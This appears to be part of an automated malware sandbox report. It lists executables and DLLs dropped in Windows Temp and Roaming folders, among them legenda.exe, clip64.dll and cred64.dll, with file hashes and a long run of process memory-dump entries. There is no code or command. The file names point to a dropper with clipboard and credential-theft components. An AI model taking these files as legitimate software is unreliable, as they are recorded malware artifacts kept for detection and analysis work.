C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap8780.exeFilesize
314KB
MD51d3b32ed2434ef1f75ae650935f07230
SHA1b9644e8e56ebc685d4b4ddf6e81fdf7ec92cfe08
SHA256f18ad83467532b08ac137d67328dcb5c6e09413fbb127f5a2b5a1964fdb0ac0c
SHA5121e49bd1b67e0546d26e4676da338319d11a5fd6119f3a5b5e80fdecbccc9069c1be3ea8ce3b2464a7327edad373774893d1df26165d1e8b7298a0708ff0a1a66
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap8780.exeFilesize
314KB
MD51d3b32ed2434ef1f75ae650935f07230
SHA1b9644e8e56ebc685d4b4ddf6e81fdf7ec92cfe08
SHA256f18ad83467532b08ac137d67328dcb5c6e09413fbb127f5a2b5a1964fdb0ac0c
SHA5121e49bd1b67e0546d26e4676da338319d11a5fd6119f3a5b5e80fdecbccc9069c1be3ea8ce3b2464a7327edad373774893d1df26165d1e8b7298a0708ff0a1a66
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz6853.exeFilesize
11KB
MD57e93bacbbc33e6652e147e7fe07572a0
SHA1421a7167da01c8da4dc4d5234ca3dd84e319e762
SHA256850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38
SHA512250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz6853.exeFilesize
11KB
MD57e93bacbbc33e6652e147e7fe07572a0
SHA1421a7167da01c8da4dc4d5234ca3dd84e319e762
SHA256850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38
SHA512250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1608gS.exeFilesize
230KB
MD527f67a6c71cf23de475147b7147f4df6
SHA1be72a11cd974030c2a8d40c9d944b03e47fd8098
SHA256f3e8274571415424545c588fdb48ed7a088c1700070f02cb9945da78fd9c2526
SHA5129f602b93d93b493df2fb00ae0aac639dd601ba7d20f1817d353aad8e8dab60f5f27af4bb8a39be50fcbd68d1dbf3d7e29d8ff5c6749756014b19ff152b0f20cd
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1608gS.exeFilesize
230KB
MD527f67a6c71cf23de475147b7147f4df6
SHA1be72a11cd974030c2a8d40c9d944b03e47fd8098
SHA256f3e8274571415424545c588fdb48ed7a088c1700070f02cb9945da78fd9c2526
SHA5129f602b93d93b493df2fb00ae0aac639dd601ba7d20f1817d353aad8e8dab60f5f27af4bb8a39be50fcbd68d1dbf3d7e29d8ff5c6749756014b19ff152b0f20cd
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3qbqgwf0.014.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dllFilesize
89KB
MD516cf28ebb6d37dbaba93f18320c6086e
SHA1eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dllFilesize
89KB
MD516cf28ebb6d37dbaba93f18320c6086e
SHA1eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dllFilesize
89KB
MD516cf28ebb6d37dbaba93f18320c6086e
SHA1eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dllFilesize
223B
MD594cbeec5d4343918fd0e48760e40539c
SHA1a049266c5c1131f692f306c8710d7e72586ae79d
SHA25648eb3ca078da2f5e9fd581197ae1b4dfbac6d86040addbb305e305c014741279
SHA5124e92450333d60b1977f75c240157a8589cfb1c80a979fbe0793cc641e13556004e554bc6f9f4853487dbcfcdc2ca93afe610649e9712e91415ed3f2a60d4fec0
-
memory/552-1132-0x0000000004A90000-0x0000000004AA0000-memory.dmpFilesize
64KB
-
memory/552-231-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-1130-0x0000000004A90000-0x0000000004AA0000-memory.dmpFilesize
64KB
-
memory/552-1131-0x0000000004A90000-0x0000000004AA0000-memory.dmpFilesize
64KB
-
memory/552-1134-0x0000000006E90000-0x0000000006EE0000-memory.dmpFilesize
320KB
-
memory/552-1136-0x0000000004A90000-0x0000000004AA0000-memory.dmpFilesize
64KB
-
memory/552-210-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-211-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-213-0x00000000005A0000-0x00000000005EB000-memory.dmpFilesize
300KB
-
memory/552-215-0x0000000004A90000-0x0000000004AA0000-memory.dmpFilesize
64KB
-
memory/552-214-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-216-0x0000000004A90000-0x0000000004AA0000-memory.dmpFilesize
64KB
-
memory/552-218-0x0000000004A90000-0x0000000004AA0000-memory.dmpFilesize
64KB
-
memory/552-219-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-221-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-223-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-225-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-227-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-229-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-1133-0x0000000006E00000-0x0000000006E76000-memory.dmpFilesize
472KB
-
memory/552-233-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-235-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-237-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-239-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-241-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-243-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-245-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-247-0x0000000004A00000-0x0000000004A3E000-memory.dmpFilesize
248KB
-
memory/552-1120-0x0000000005150000-0x0000000005768000-memory.dmpFilesize
6.1MB
-
memory/552-1121-0x0000000005770000-0x000000000587A000-memory.dmpFilesize
1.0MB
-
memory/552-1122-0x00000000058B0000-0x00000000058C2000-memory.dmpFilesize
72KB
-
memory/552-1123-0x00000000058D0000-0x000000000590C000-memory.dmpFilesize
240KB
-
memory/552-1124-0x0000000004A90000-0x0000000004AA0000-memory.dmpFilesize
64KB
-
memory/552-1125-0x0000000005BC0000-0x0000000005C52000-memory.dmpFilesize
584KB
-
memory/552-1126-0x0000000005C60000-0x0000000005CC6000-memory.dmpFilesize
408KB
-
memory/552-1128-0x0000000006480000-0x0000000006642000-memory.dmpFilesize
1.8MB
-
memory/552-1129-0x0000000006660000-0x0000000006B8C000-memory.dmpFilesize
5.2MB
-
memory/1108-193-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-189-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-204-0x0000000004B30000-0x0000000004B40000-memory.dmpFilesize
64KB
-
memory/1108-203-0x0000000004B30000-0x0000000004B40000-memory.dmpFilesize
64KB
-
memory/1108-201-0x0000000004B30000-0x0000000004B40000-memory.dmpFilesize
64KB
-
memory/1108-200-0x0000000000400000-0x00000000004BA000-memory.dmpFilesize
744KB
-
memory/1108-199-0x0000000004B30000-0x0000000004B40000-memory.dmpFilesize
64KB
-
memory/1108-198-0x0000000004B30000-0x0000000004B40000-memory.dmpFilesize
64KB
-
memory/1108-205-0x0000000000400000-0x00000000004BA000-memory.dmpFilesize
744KB
-
memory/1108-167-0x00000000004C0000-0x00000000004ED000-memory.dmpFilesize
180KB
-
memory/1108-197-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-195-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-191-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-170-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-187-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-185-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-183-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-181-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-179-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-177-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-175-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-173-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-171-0x00000000024E0000-0x00000000024F2000-memory.dmpFilesize
72KB
-
memory/1108-168-0x0000000004B30000-0x0000000004B40000-memory.dmpFilesize
64KB
-
memory/1108-169-0x0000000004B40000-0x00000000050E4000-memory.dmpFilesize
5.6MB
-
memory/2408-161-0x0000000000330000-0x000000000033A000-memory.dmpFilesize
40KB
-
memory/2924-1193-0x000001EFDE800000-0x000001EFDE810000-memory.dmpFilesize
64KB
-
memory/2924-1195-0x000001EFDE800000-0x000001EFDE810000-memory.dmpFilesize
64KB
-
memory/2924-1196-0x000001EFDE800000-0x000001EFDE810000-memory.dmpFilesize
64KB
-
memory/2924-1197-0x000001EFDE800000-0x000001EFDE810000-memory.dmpFilesize
64KB
-
memory/2924-1194-0x000001EFDE800000-0x000001EFDE810000-memory.dmpFilesize
64KB
-
memory/2924-1192-0x000001EFDE800000-0x000001EFDE810000-memory.dmpFilesize
64KB
-
memory/2924-1183-0x000001EFDE770000-0x000001EFDE792000-memory.dmpFilesize
136KB
-
memory/3100-1142-0x0000000004FD0000-0x0000000004FE0000-memory.dmpFilesize
64KB
-
memory/3100-1141-0x0000000000380000-0x00000000003B2000-memory.dmpFilesize
200KB